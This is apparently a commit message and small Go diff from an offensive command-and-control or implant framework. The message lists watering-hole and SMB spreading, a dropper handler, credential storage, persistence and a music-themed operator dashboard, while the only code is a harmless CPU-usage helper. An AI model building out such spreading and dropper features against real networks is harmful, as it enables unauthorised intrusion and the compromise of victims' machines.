feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/stats/cpu_common.go

@@ -0,0 +1,15 @@
+package stats
+
+func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
+	if totalDelta <= 0 {
+		return 0
+	}
+	busyPct := (1.0 - idleDelta/totalDelta) * 100
+	if busyPct < 0 {
+		return 0
+	}
+	if busyPct > 100 {
+		return 100
+	}
+	return busyPct
+}